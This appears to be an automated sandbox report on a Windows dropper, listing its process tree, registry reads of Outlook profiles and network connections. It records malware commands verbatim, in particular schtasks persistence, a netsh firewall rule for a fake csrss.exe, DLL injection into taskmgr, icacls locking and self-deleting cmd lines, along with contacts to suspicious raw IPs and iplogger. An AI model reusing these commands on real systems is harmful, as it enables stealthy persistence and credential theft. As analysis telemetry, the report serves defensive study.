PID 1984 wrote to memory of 2852 N/A C:\Users\Admin\AppData\Local\Temp\8957d43878c36ee0ae11246393c9c1ce600536ab817435417e50af86a3f1b055.exe C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\KU2rq84.exe
PID 1984 wrote to memory of 2852 N/A C:\Users\Admin\AppData\Local\Temp\8957d43878c36ee0ae11246393c9c1ce600536ab817435417e50af86a3f1b055.exe C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\KU2rq84.exe
PID 2852 wrote to memory of 2720 N/A C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\KU2rq84.exe C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\1Hy65eB3.exe
PID 2852 wrote to memory of 2720 N/A C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\KU2rq84.exe C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\1Hy65eB3.exe
PID 2852 wrote to memory of 2720 N/A C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\KU2rq84.exe C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\1Hy65eB3.exe
PID 2852 wrote to memory of 2720 N/A C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\KU2rq84.exe C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\1Hy65eB3.exe
PID 2852 wrote to memory of 2720 N/A C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\KU2rq84.exe C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\1Hy65eB3.exe
PID 2852 wrote to memory of 2720 N/A C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\KU2rq84.exe C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\1Hy65eB3.exe
PID 2852 wrote to memory of 2720 N/A C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\KU2rq84.exe C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\1Hy65eB3.exe
PID 2720 wrote to memory of 2840 N/A C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\1Hy65eB3.exe C:\Program Files\Internet Explorer\iexplore.exe
PID 2720 wrote to memory of 2840 N/A C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\1Hy65eB3.exe C:\Program Files\Internet Explorer\iexplore.exe
PID 2720 wrote to memory of 2840 N/A C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\1Hy65eB3.exe C:\Program Files\Internet Explorer\iexplore.exe
PID 2720 wrote to memory of 2840 N/A C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\1Hy65eB3.exe C:\Program Files\Internet Explorer\iexplore.exe
PID 2720 wrote to memory of 2840 N/A C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\1Hy65eB3.exe C:\Program Files\Internet Explorer\iexplore.exe
PID 2720 wrote to memory of 2840 N/A C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\1Hy65eB3.exe C:\Program Files\Internet Explorer\iexplore.exe
PID 2720 wrote to memory of 2840 N/A C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\1Hy65eB3.exe C:\Program Files\Internet Explorer\iexplore.exe
PID 2720 wrote to memory of 2732 N/A C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\1Hy65eB3.exe C:\Program Files\Internet Explorer\iexplore.exe
PID 2720 wrote to memory of 2732 N/A C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\1Hy65eB3.exe C:\Program Files\Internet Explorer\iexplore.exe
PID 2720 wrote to memory of 2732 N/A C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\1Hy65eB3.exe C:\Program Files\Internet Explorer\iexplore.exe
PID 2720 wrote to memory of 2732 N/A C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\1Hy65eB3.exe C:\Program Files\Internet Explorer\iexplore.exe
PID 2720 wrote to memory of 2732 N/A C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\1Hy65eB3.exe C:\Program Files\Internet Explorer\iexplore.exe
PID 2720 wrote to memory of 2732 N/A C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\1Hy65eB3.exe C:\Program Files\Internet Explorer\iexplore.exe
PID 2720 wrote to memory of 2732 N/A C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\1Hy65eB3.exe C:\Program Files\Internet Explorer\iexplore.exe
PID 2720 wrote to memory of 2680 N/A C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\1Hy65eB3.exe C:\Program Files\Internet Explorer\iexplore.exe
PID 2720 wrote to memory of 2680 N/A C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\1Hy65eB3.exe C:\Program Files\Internet Explorer\iexplore.exe
PID 2720 wrote to memory of 2680 N/A C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\1Hy65eB3.exe C:\Program Files\Internet Explorer\iexplore.exe
PID 2720 wrote to memory of 2680 N/A C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\1Hy65eB3.exe C:\Program Files\Internet Explorer\iexplore.exe
PID 2720 wrote to memory of 2680 N/A C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\1Hy65eB3.exe C:\Program Files\Internet Explorer\iexplore.exe
PID 2720 wrote to memory of 2680 N/A C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\1Hy65eB3.exe C:\Program Files\Internet Explorer\iexplore.exe
PID 2720 wrote to memory of 2680 N/A C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\1Hy65eB3.exe C:\Program Files\Internet Explorer\iexplore.exe
PID 2720 wrote to memory of 2808 N/A C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\1Hy65eB3.exe C:\Program Files\Internet Explorer\iexplore.exe
PID 2720 wrote to memory of 2808 N/A C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\1Hy65eB3.exe C:\Program Files\Internet Explorer\iexplore.exe
PID 2720 wrote to memory of 2808 N/A C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\1Hy65eB3.exe C:\Program Files\Internet Explorer\iexplore.exe
PID 2720 wrote to memory of 2808 N/A C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\1Hy65eB3.exe C:\Program Files\Internet Explorer\iexplore.exe
PID 2720 wrote to memory of 2808 N/A C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\1Hy65eB3.exe C:\Program Files\Internet Explorer\iexplore.exe
PID 2720 wrote to memory of 2808 N/A C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\1Hy65eB3.exe C:\Program Files\Internet Explorer\iexplore.exe
PID 2720 wrote to memory of 2808 N/A C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\1Hy65eB3.exe C:\Program Files\Internet Explorer\iexplore.exe
PID 2720 wrote to memory of 2804 N/A C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\1Hy65eB3.exe C:\Program Files\Internet Explorer\iexplore.exe
PID 2720 wrote to memory of 2804 N/A C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\1Hy65eB3.exe C:\Program Files\Internet Explorer\iexplore.exe
PID 2720 wrote to memory of 2804 N/A C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\1Hy65eB3.exe C:\Program Files\Internet Explorer\iexplore.exe
PID 2720 wrote to memory of 2804 N/A C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\1Hy65eB3.exe C:\Program Files\Internet Explorer\iexplore.exe
PID 2720 wrote to memory of 2804 N/A C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\1Hy65eB3.exe C:\Program Files\Internet Explorer\iexplore.exe
PID 2720 wrote to memory of 2804 N/A C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\1Hy65eB3.exe C:\Program Files\Internet Explorer\iexplore.exe
PID 2720 wrote to memory of 2804 N/A C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\1Hy65eB3.exe C:\Program Files\Internet Explorer\iexplore.exe
PID 2720 wrote to memory of 3044 N/A C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\1Hy65eB3.exe C:\Program Files\Internet Explorer\iexplore.exe
PID 2720 wrote to memory of 3044 N/A C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\1Hy65eB3.exe C:\Program Files\Internet Explorer\iexplore.exe
PID 2720 wrote to memory of 3044 N/A C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\1Hy65eB3.exe C:\Program Files\Internet Explorer\iexplore.exe
PID 2720 wrote to memory of 3044 N/A C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\1Hy65eB3.exe C:\Program Files\Internet Explorer\iexplore.exe
PID 2720 wrote to memory of 3044 N/A C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\1Hy65eB3.exe C:\Program Files\Internet Explorer\iexplore.exe
PID 2720 wrote to memory of 3044 N/A C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\1Hy65eB3.exe C:\Program Files\Internet Explorer\iexplore.exe
PID 2720 wrote to memory of 3044 N/A C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\1Hy65eB3.exe C:\Program Files\Internet Explorer\iexplore.exe
PID 2720 wrote to memory of 2764 N/A C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\1Hy65eB3.exe C:\Program Files\Internet Explorer\iexplore.exe
PID 2720 wrote to memory of 2764 N/A C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\1Hy65eB3.exe C:\Program Files\Internet Explorer\iexplore.exe
PID 2720 wrote to memory of 2764 N/A C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\1Hy65eB3.exe C:\Program Files\Internet Explorer\iexplore.exe
PID 2720 wrote to memory of 2764 N/A C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\1Hy65eB3.exe C:\Program Files\Internet Explorer\iexplore.exe
PID 2720 wrote to memory of 2764 N/A C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\1Hy65eB3.exe C:\Program Files\Internet Explorer\iexplore.exe
PID 2720 wrote to memory of 2764 N/A C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\1Hy65eB3.exe C:\Program Files\Internet Explorer\iexplore.exe
PID 2720 wrote to memory of 2764 N/A C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\1Hy65eB3.exe C:\Program Files\Internet Explorer\iexplore.exe
PID 2720 wrote to memory of 2596 N/A C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\1Hy65eB3.exe C:\Program Files\Internet Explorer\iexplore.exe

outlook_office_path

Description Indicator Process Target
Key opened \REGISTRY\USER\S-1-5-21-3427588347-1492276948-3422228430-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe N/A

outlook_win_path

Description Indicator Process Target
Key opened \REGISTRY\USER\S-1-5-21-3427588347-1492276948-3422228430-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe N/A

Processes

C:\Users\Admin\AppData\Local\Temp\8957d43878c36ee0ae11246393c9c1ce600536ab817435417e50af86a3f1b055.exe

"C:\Users\Admin\AppData\Local\Temp\8957d43878c36ee0ae11246393c9c1ce600536ab817435417e50af86a3f1b055.exe"

C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\KU2rq84.exe

C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\KU2rq84.exe

C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\1Hy65eB3.exe

C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\1Hy65eB3.exe

C:\Program Files\Internet Explorer\iexplore.exe

"C:\Program Files\Internet Explorer\iexplore.exe" https://accounts.google.com/

C:\Program Files\Internet Explorer\iexplore.exe

"C:\Program Files\Internet Explorer\iexplore.exe" https://www.facebook.com/login

C:\Program Files\Internet Explorer\iexplore.exe

"C:\Program Files\Internet Explorer\iexplore.exe" https://store.steampowered.com/login

C:\Program Files\Internet Explorer\iexplore.exe

"C:\Program Files\Internet Explorer\iexplore.exe" https://twitter.com/i/flow/login

C:\Program Files\Internet Explorer\iexplore.exe

"C:\Program Files\Internet Explorer\iexplore.exe" https://steamcommunity.com/openid/loginform

C:\Program Files\Internet Explorer\iexplore.exe

"C:\Program Files\Internet Explorer\iexplore.exe" https://www.epicgames.com/id/login

C:\Program Files\Internet Explorer\iexplore.exe

"C:\Program Files\Internet Explorer\iexplore.exe" https://www.paypal.com/signin

C:\Program Files\Internet Explorer\iexplore.exe

"C:\Program Files\Internet Explorer\iexplore.exe" https://www.youtube.com/

C:\Program Files\Internet Explorer\iexplore.exe

"C:\Program Files\Internet Explorer\iexplore.exe" https://www.linkedin.com/login

C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\4TM356LL.exe

C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\4TM356LL.exe

C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE

"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:2840 CREDAT:275457 /prefetch:2

C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE

"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:2680 CREDAT:275457 /prefetch:2

C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE

"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:2732 CREDAT:275457 /prefetch:2

C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE

"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:2604 CREDAT:275457 /prefetch:2

C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE

"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:2808 CREDAT:275457 /prefetch:2

C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE

"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:3044 CREDAT:275457 /prefetch:2

C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE

"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:2596 CREDAT:275457 /prefetch:2

C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE

"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:2804 CREDAT:275457 /prefetch:2

C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE

"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:2764 CREDAT:275457 /prefetch:2

C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe

"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"

C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\6WA7jU8.exe

C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\6WA7jU8.exe

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"powershell" Get-MpPreference -verbose

C:\Windows\SysWOW64\cmd.exe

"cmd.exe" /c schtasks /create /f /RU "Admin" /tr "C:\ProgramData\OfficeTrackerNMP131\OfficeTrackerNMP131.exe" /tn "OfficeTrackerNMP131 HR" /sc HOURLY /rl HIGHEST

C:\Windows\SysWOW64\schtasks.exe

schtasks /create /f /RU "Admin" /tr "C:\ProgramData\OfficeTrackerNMP131\OfficeTrackerNMP131.exe" /tn "OfficeTrackerNMP131 HR" /sc HOURLY /rl HIGHEST

C:\Windows\SysWOW64\cmd.exe

"cmd.exe" /c schtasks /create /f /RU "Admin" /tr "C:\ProgramData\OfficeTrackerNMP131\OfficeTrackerNMP131.exe" /tn "OfficeTrackerNMP131 LG" /sc ONLOGON /rl HIGHEST

C:\Windows\SysWOW64\schtasks.exe

schtasks /create /f /RU "Admin" /tr "C:\ProgramData\OfficeTrackerNMP131\OfficeTrackerNMP131.exe" /tn "OfficeTrackerNMP131 LG" /sc ONLOGON /rl HIGHEST

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 800 -s 2460

C:\Users\Admin\AppData\Local\Temp\7ADB.exe

C:\Users\Admin\AppData\Local\Temp\7ADB.exe

C:\Users\Admin\AppData\Local\Temp\InstallSetup9.exe

"C:\Users\Admin\AppData\Local\Temp\InstallSetup9.exe"

C:\Users\Admin\AppData\Local\Temp\toolspub2.exe

"C:\Users\Admin\AppData\Local\Temp\toolspub2.exe"

C:\Users\Admin\AppData\Local\Temp\7EA3.exe

C:\Users\Admin\AppData\Local\Temp\7EA3.exe

C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe

"C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe"

C:\Users\Admin\AppData\Local\Temp\tuc3.exe

"C:\Users\Admin\AppData\Local\Temp\tuc3.exe"

C:\Users\Admin\AppData\Local\Temp\is-GPE8V.tmp\tuc3.tmp

"C:\Users\Admin\AppData\Local\Temp\is-GPE8V.tmp\tuc3.tmp" /SL5="$305DA,7276951,68608,C:\Users\Admin\AppData\Local\Temp\tuc3.exe"

C:\Users\Admin\AppData\Local\Temp\toolspub2.exe

"C:\Users\Admin\AppData\Local\Temp\toolspub2.exe"

C:\Users\Admin\AppData\Local\Temp\BroomSetup.exe

C:\Users\Admin\AppData\Local\Temp\BroomSetup.exe

C:\Users\Admin\AppData\Local\Temp\935C.exe

C:\Users\Admin\AppData\Local\Temp\935C.exe

C:\Windows\SysWOW64\schtasks.exe

"C:\Windows\system32\schtasks.exe" /Query

C:\Program Files (x86)\StdButton\stdbutton.exe

"C:\Program Files (x86)\StdButton\stdbutton.exe" -i

C:\Users\Admin\AppData\Local\Temp\A0A6.exe

C:\Users\Admin\AppData\Local\Temp\A0A6.exe

C:\Users\Admin\AppData\Local\Temp\nszA364.tmp.exe

C:\Users\Admin\AppData\Local\Temp\nszA364.tmp.exe

C:\Users\Admin\AppData\Local\Temp\A596.exe

C:\Users\Admin\AppData\Local\Temp\A596.exe

C:\Program Files (x86)\StdButton\stdbutton.exe

"C:\Program Files (x86)\StdButton\stdbutton.exe" -s

C:\Windows\SysWOW64\net.exe

"C:\Windows\system32\net.exe" helpmsg 14

C:\Windows\SysWOW64\net1.exe

C:\Windows\system32\net1 helpmsg 14

C:\Windows\system32\makecab.exe

"C:\Windows\system32\makecab.exe" C:\Windows\Logs\CBS\CbsPersist_20231220014855.log C:\Windows\Logs\CBS\CbsPersist_20231220014855.cab

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe

"C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe"

C:\Windows\SysWOW64\cmd.exe

"C:\Windows\system32\cmd.exe" /c timeout /t 5 & del /f /q "C:\Users\Admin\AppData\Local\Temp\nszA364.tmp.exe" & del "C:\ProgramData\*.dll"" & exit

C:\Windows\SysWOW64\timeout.exe

timeout /t 5

C:\Windows\system32\cmd.exe

C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"

C:\Windows\system32\netsh.exe

netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes

C:\Windows\rss\csrss.exe

C:\Windows\rss\csrss.exe

C:\Windows\system32\schtasks.exe

schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F

C:\Windows\system32\schtasks.exe

schtasks /delete /tn ScheduledUpdate /f

C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe

"C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"

C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe

C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe taskmgr.exe C:\Users\Admin\AppData\Local\Temp\csrss\injector\NtQuerySystemInformationHook.dll

C:\Windows\system32\cmd.exe

cmd /c ""C:\Users\Admin\AppData\Local\Temp\5F16.bat" "

C:\Windows\system32\reg.exe

reg add "HKEY_CURRENT_USER\Software\clicker\key" /v primary /t REG_DWORD /d 1

C:\Windows\system32\cmd.exe

cmd /c ""C:\Users\Admin\AppData\Local\Temp\6252.bat" "

C:\Windows\system32\reg.exe

reg add "HKEY_CURRENT_USER\Software\clicker\key" /v primary /t REG_DWORD /d 1

C:\Users\Admin\AppData\Local\Temp\8232.exe

C:\Users\Admin\AppData\Local\Temp\8232.exe

C:\Users\Admin\AppData\Local\Temp\8232.exe

C:\Users\Admin\AppData\Local\Temp\8232.exe

C:\Windows\SysWOW64\icacls.exe

icacls "C:\Users\Admin\AppData\Local\85ebc8d3-fb1e-45e6-8a36-dc55975757eb" /deny *S-1-1-0:(OI)(CI)(DE,DC)

C:\Users\Admin\AppData\Local\Temp\8232.exe

"C:\Users\Admin\AppData\Local\Temp\8232.exe" --Admin IsNotAutoStart IsNotTask

C:\Users\Admin\AppData\Local\Temp\8232.exe

"C:\Users\Admin\AppData\Local\Temp\8232.exe" --Admin IsNotAutoStart IsNotTask

Network

Country Destination Domain Proto
US 8.8.8.8:53 accounts.google.com udp
US 8.8.8.8:53 store.steampowered.com udp
US 8.8.8.8:53 twitter.com udp
US 8.8.8.8:53 www.epicgames.com udp
US 8.8.8.8:53 steamcommunity.com udp
US 8.8.8.8:53 www.youtube.com udp
US 8.8.8.8:53 www.linkedin.com udp
US 8.8.8.8:53 www.facebook.com udp
US 8.8.8.8:53 www.paypal.com udp
BE 64.233.167.84:443 accounts.google.com tcp
BE 64.233.167.84:443 accounts.google.com tcp
US 92.123.241.50:443 store.steampowered.com tcp
US 92.123.241.50:443 store.steampowered.com tcp
US 8.8.8.8:53 store.cloudflare.steamstatic.com udp
US 172.64.145.151:443 store.cloudflare.steamstatic.com tcp
US 172.64.145.151:443 store.cloudflare.steamstatic.com tcp
US 172.64.145.151:443 store.cloudflare.steamstatic.com tcp
US 172.64.145.151:443 store.cloudflare.steamstatic.com tcp
US 172.64.145.151:443 store.cloudflare.steamstatic.com tcp
US 172.64.145.151:443 store.cloudflare.steamstatic.com tcp
US 172.64.145.151:443 store.cloudflare.steamstatic.com tcp
US 172.64.145.151:443 store.cloudflare.steamstatic.com tcp
US 8.8.8.8:53 www.google.com udp
GB 142.250.200.4:443 www.google.com tcp
GB 142.250.200.4:443 www.google.com tcp
US 8.8.8.8:53 accounts.youtube.com udp
GB 142.250.200.46:443 accounts.youtube.com tcp
GB 142.250.200.46:443 accounts.youtube.com tcp
GB 104.103.202.103:443 steamcommunity.com tcp
GB 104.103.202.103:443 steamcommunity.com tcp
BG 91.92.249.253:50500 tcp
US 8.8.8.8:53 ipinfo.io udp
US 8.8.8.8:53 community.cloudflare.steamstatic.com udp
US 104.18.42.105:443 community.cloudflare.steamstatic.com tcp
US 104.18.42.105:443 community.cloudflare.steamstatic.com tcp
US 104.18.42.105:443 community.cloudflare.steamstatic.com tcp
US 104.18.42.105:443 community.cloudflare.steamstatic.com tcp
US 104.18.42.105:443 community.cloudflare.steamstatic.com tcp
US 104.18.42.105:443 community.cloudflare.steamstatic.com tcp
US 34.117.186.192:443 ipinfo.io tcp
US 8.8.8.8:53 apps.identrust.com udp
GB 96.17.179.184:80 apps.identrust.com tcp
US 52.203.174.160:443 www.epicgames.com tcp
US 52.203.174.160:443 www.epicgames.com tcp
US 104.244.42.1:443 twitter.com tcp
US 104.244.42.1:443 twitter.com tcp
IE 163.70.147.35:443 www.facebook.com tcp
IE 163.70.147.35:443 www.facebook.com tcp
US 13.107.42.14:443 www.linkedin.com tcp
US 13.107.42.14:443 www.linkedin.com tcp
GB 216.58.212.238:443 www.youtube.com tcp
GB 216.58.212.238:443 www.youtube.com tcp
US 151.101.1.21:443 www.paypal.com tcp
US 151.101.1.21:443 www.paypal.com tcp
US 8.8.8.8:53 play.google.com udp
FR 216.58.204.78:443 play.google.com tcp
US 8.8.8.8:53 www.paypalobjects.com udp
US 192.229.221.25:443 www.paypalobjects.com tcp
US 192.229.221.25:443 www.paypalobjects.com tcp
US 192.229.221.25:443 www.paypalobjects.com tcp
US 192.229.221.25:443 www.paypalobjects.com tcp
US 192.229.221.25:443 www.paypalobjects.com tcp
US 192.229.221.25:443 www.paypalobjects.com tcp
US 8.8.8.8:53 static.licdn.com udp
US 8.8.8.8:53 static.xx.fbcdn.net udp
US 8.8.8.8:53 facebook.com udp
IE 163.70.147.23:443 static.xx.fbcdn.net tcp
IE 163.70.147.23:443 static.xx.fbcdn.net tcp
IE 163.70.147.23:443 static.xx.fbcdn.net tcp
IE 163.70.147.23:443 static.xx.fbcdn.net tcp
IE 163.70.147.23:443 static.xx.fbcdn.net tcp
IE 163.70.147.23:443 static.xx.fbcdn.net tcp
IE 163.70.147.35:443 facebook.com tcp
IE 163.70.147.35:443 facebook.com tcp
GB 88.221.134.88:443 static.licdn.com tcp
GB 88.221.134.88:443 static.licdn.com tcp
GB 88.221.134.88:443 static.licdn.com tcp
GB 88.221.134.88:443 static.licdn.com tcp
GB 88.221.134.88:443 static.licdn.com tcp
GB 88.221.134.88:443 static.licdn.com tcp
GB 88.221.134.88:443 static.licdn.com tcp
GB 88.221.134.88:443 static.licdn.com tcp
GB 88.221.134.88:443 static.licdn.com tcp
GB 88.221.134.88:443 static.licdn.com tcp
GB 88.221.134.88:443 static.licdn.com tcp
GB 88.221.134.88:443 static.licdn.com tcp
GB 88.221.134.88:443 static.licdn.com tcp
GB 88.221.134.88:443 static.licdn.com tcp
GB 216.58.212.238:443 www.youtube.com tcp
GB 216.58.212.238:443 www.youtube.com tcp
GB 216.58.212.238:443 www.youtube.com tcp
GB 216.58.212.238:443 www.youtube.com tcp
US 8.8.8.8:53 fbcdn.net udp
GB 88.221.134.88:443 static.licdn.com tcp
GB 88.221.134.88:443 static.licdn.com tcp
GB 88.221.134.88:443 static.licdn.com tcp
IE 163.70.147.35:443 fbcdn.net tcp
IE 163.70.147.35:443 fbcdn.net tcp
GB 88.221.134.88:443 static.licdn.com tcp
GB 88.221.134.88:443 static.licdn.com tcp
GB 88.221.134.88:443 static.licdn.com tcp
GB 88.221.134.88:443 static.licdn.com tcp
GB 88.221.134.88:443 static.licdn.com tcp
GB 88.221.134.88:443 static.licdn.com tcp
GB 88.221.134.88:443 static.licdn.com tcp
GB 88.221.134.88:443 static.licdn.com tcp
GB 88.221.134.88:443 static.licdn.com tcp
GB 88.221.134.88:443 static.licdn.com tcp
GB 88.221.134.88:443 static.licdn.com tcp
GB 88.221.134.88:443 static.licdn.com tcp
GB 88.221.134.88:443 static.licdn.com tcp
GB 88.221.134.88:443 static.licdn.com tcp
GB 88.221.134.88:443 static.licdn.com tcp
GB 88.221.134.88:443 static.licdn.com tcp
US 8.8.8.8:53 fbsbx.com udp
IE 163.70.147.35:443 fbsbx.com tcp
IE 163.70.147.35:443 fbsbx.com tcp
IE 163.70.147.35:443 fbsbx.com tcp
IE 163.70.147.35:443 fbsbx.com tcp
IE 163.70.147.35:443 fbsbx.com tcp
IE 163.70.147.35:443 fbsbx.com tcp
US 8.8.8.8:53 t.paypal.com udp
GB 88.221.134.88:443 static.licdn.com tcp
GB 88.221.134.88:443 static.licdn.com tcp
US 151.101.1.35:443 t.paypal.com tcp
US 151.101.1.35:443 t.paypal.com tcp
US 151.101.1.35:443 t.paypal.com tcp
GB 88.221.134.88:443 static.licdn.com tcp
GB 88.221.134.88:443 static.licdn.com tcp
GB 88.221.134.88:443 static.licdn.com tcp
GB 88.221.134.88:443 static.licdn.com tcp
GB 88.221.134.88:443 static.licdn.com tcp
GB 88.221.134.88:443 static.licdn.com tcp
US 8.8.8.8:53 ocsp.r2m02.amazontrust.com udp
AT 13.32.1.186:80 ocsp.r2m02.amazontrust.com tcp
AT 13.32.1.186:80 ocsp.r2m02.amazontrust.com tcp
US 8.8.8.8:53 static-assets-prod.unrealengine.com udp
AT 13.32.110.114:443 static-assets-prod.unrealengine.com tcp
AT 13.32.110.114:443 static-assets-prod.unrealengine.com tcp
US 8.8.8.8:53 tracking.epicgames.com udp
US 52.205.154.100:443 tracking.epicgames.com tcp
US 52.205.154.100:443 tracking.epicgames.com tcp
US 104.244.42.1:443 twitter.com tcp
RU 185.215.113.68:80 185.215.113.68 tcp
US 8.8.8.8:53 bitbucket.org udp
US 104.192.141.1:443 bitbucket.org tcp
US 104.192.141.1:443 bitbucket.org tcp
RU 5.42.65.125:80 5.42.65.125 tcp
FR 216.58.204.78:443 play.google.com tcp
US 8.8.8.8:53 api.ipify.org udp
US 104.237.62.212:80 api.ipify.org tcp
BG 91.92.254.7:80 91.92.254.7 tcp
US 204.79.197.200:443 ieonline.microsoft.com tcp
US 204.79.197.200:443 ieonline.microsoft.com tcp
RU 5.42.64.35:80 5.42.64.35 tcp
RU 77.105.132.87:17066 tcp
MD 176.123.7.190:32927 tcp
RU 77.91.76.36:80 77.91.76.36 tcp
US 204.79.197.200:443 ieonline.microsoft.com tcp
US 204.79.197.200:443 ieonline.microsoft.com tcp
US 204.79.197.200:443 ieonline.microsoft.com tcp
N/A 195.20.16.103:18305 tcp
US 8.8.8.8:53 iplogger.com udp
US 104.21.76.57:443 iplogger.com tcp
US 204.79.197.200:443 ieonline.microsoft.com tcp
US 8.8.8.8:53 aa3ecc00-8c8b-4d79-a103-308fc188aa38.uuid.statsexplorer.org udp
US 8.8.8.8:53 msdl.microsoft.com udp
US 204.79.197.219:443 msdl.microsoft.com tcp
US 8.8.8.8:53 vsblobprodscussu5shard30.blob.core.windows.net udp
US 20.150.79.68:443 vsblobprodscussu5shard30.blob.core.windows.net tcp
US 8.8.8.8:53 host-file-host6.com udp
